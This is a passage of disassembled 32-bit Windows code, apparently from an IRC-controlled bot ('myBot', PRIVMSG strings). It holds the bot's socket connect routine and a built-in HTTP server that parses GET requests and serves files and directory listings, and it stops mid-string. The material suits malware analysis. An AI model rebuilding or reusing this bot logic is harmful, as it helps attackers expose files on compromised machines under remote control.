sub_40BACD+22Ao dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 90FFFFFBh, 6A57F9E8h, 6A535671h, 37E89002h dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh dd 0ACB0A166h, 6583004Ch, 665000B8h, 2B445C7h, 7415FF00h dd 66004CAFh, 8DB64589h, 106AB445h, 83E85750h, 90716A54h dd 77DC085h, 60E9C38Bh, 6A000005h, 83E8570Ah, 90716A73h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 905040FCh, 6A2DF3E8h dd 0FFF88371h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 0DC68156Ah, 50004337h, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 9057FFFFh, 6A2EA4E8h, 3D4E971h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 0D468FFFFh, 50004337h, 0DA58E8h, 50858D00h, 68FFFFFFh dd 4337CCh, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 4337B468h, 82E900h, 858D0000h, 0FFFFFF50h, 4337AC68h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 43379468h dd 8D61EB00h, 0FFFF5085h, 378C68FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 377C680Dh, 40EB0043h, 0FF50858Dh dd 7468FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h dd 6068106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 43375Ch dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 43373Ch dd 2F1E957h, 34BF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43373068h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43371C68h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433718h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 433704h, 27BE9h, 50858D00h dd 68FFFFFFh, 4336FCh, 0D352E850h, 85590000h, 347559C0h dd 0D0BE0A6Ah, 59004336h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 0C868FFFFh dd 50004336h, 0D307E8h, 0C0855900h, 6A2A7559h, 36B0BE05h dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h dd 68FFFFFFh, 4336A8h, 0D2C6E850h, 85590000h, 850F59C0h dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h dd 43368068h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h dd 0FFFFFF04h, 57F475FFh, 43367868h, 5FE85000h, 6A0000CAh dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh dd 43366Ch, 0CA2CE850h, 0C4830000h, 1D6A5618h, 43364C68h dd 11EE900h, 858D0000h, 0FFFFFF50h, 43364468h, 0F5E85000h dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 43361868h dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h dd 4335FCh, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h dd 1F88300h, 93850Fh, 6A560000h, 35E46817h, 75FF0043h dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 35C468FFh, 0E8500043h dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h dd 5FF0000h, 4CDA80h, 562EEB59h, 0A068206Ah, 0EB004335h dd 50858D1Fh, 68FFFFFFh, 42C98Ch, 0D0F6E850h, 85590000h dd 0D7559C0h, 681B6A56h, 433584h, 0FF0875FFh, 8D646AD3h dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah dd 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CDCC8, eax mov word ptr [ebp-10h], 2 call near ptr 71AB12F8h nop push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CDCC8 call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CDCC8 nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 call near ptr 2680000h nop lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CDCC8 call near ptr 71AB1AF4h nop push 1 nop call near ptr 2690000h test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CDCC8 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CAF74 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CAFF4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43DEBC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB010 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CAF5C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CAE60 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB008 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CAF8C test eax, eax jg short loc_40F2F7 push esi call dword_4CB00C xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42CA2C ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_43381C ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB010 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB00C loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CAF08 push eax lea eax, [ebp+var_8F0] push offset unk_4337F4 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB00C push [ebp+var_254] call sub_40B412 pop ecx push ebx nop call near ptr 26F0000h pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 2740000h nop lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 273149Ah nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CAFC4 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB00C push [ebp+var_B4] call sub_40B412 pop ecx push edi nop call near ptr 26F0000h pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_4293C4 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_429998 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 2690DA5h push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_433AA8 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB00C jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 27108ABh mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2750000h push esi mov [ebp+var_330], eax call near ptr 2670822h nop loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_433A74 push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43DEB4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi nop call near ptr 2690088h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 call near ptr 2690000h nop jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB00C nop call near ptr 26908FFh push eax lea eax, [ebp+var_8C4] push offset unk_433A3C push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_429998 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD 